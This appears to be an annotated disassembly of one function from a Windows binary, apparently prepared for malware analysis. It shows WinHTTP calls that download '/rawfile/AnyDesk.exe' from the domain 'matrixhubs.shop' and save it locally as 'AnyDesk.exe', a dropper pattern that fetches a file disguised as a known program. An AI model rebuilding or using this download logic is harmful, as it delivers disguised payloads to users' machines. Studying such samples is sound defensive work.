Function at 0x140003070
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rdi
sub rsp, 0x1b0
mov rax, qword [0x140035080]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140003348
xor r9d, r9d
mov r8w, 0x50
lea rdx, str.matrixhubs.shop
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x14000333c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._rawfile_AnyDesk.exe
lea rdx, [0x1400305b0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140003330
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140003324
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140003324
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
mov edx, 0x108
lea rcx, [rsp + 0x90]
call fcn.140002f40
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, str.AnyDesk.exe
lea rcx, [rsp + 0x90]
call fcn.140004800
nop
mov dword [rsp + 0x88], 0
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
nop
cmp dword [rsp + 0x88], 0
jbe 0x1400032fa
mov eax, dword [rsp + 0x88]
inc eax
mov eax, eax
mov ecx, eax
call fcn.140009914
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14000325b
lea rdx, str.Out_of_memory
lea rcx, [0x140036440]
call fcn.140007330
lea rdx, [0x1400076a0]
mov rcx, rax
call fcn.140004a40
mov dword [rsp + 0x88], 0
jmp 0x1400032fa
mov eax, dword [rsp + 0x88]
inc eax
mov eax, eax
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x48]
xor eax, eax
mov rcx, qword [rsp + 0x78]
rep stosb byte [rdi], al
lea r9, [rsp + 0x8c]
mov r8d, dword [rsp + 0x88]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1400032ba
mov eax, dword [rsp + 0x8c]
mov r8d, eax
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x90]
call fcn.140004930
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.1400098d0
cmp qword [rsp + 0x68], 0
jne 0x1400032e4
mov qword [rsp + 0x80], 0
jmp 0x1400032fa
mov qword [rsp + 0x48], 0x8123
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x80], rax
cmp dword [rsp + 0x88], 0
ja 0x1400031d3
lea rcx, [rsp + 0x90]
call fcn.140004720
nop
lea rcx, [rsp + 0x90]
call fcn.140003370
nop
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
xor eax, eax
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.1400098b0
add rsp, 0x1b0
pop rdi
ret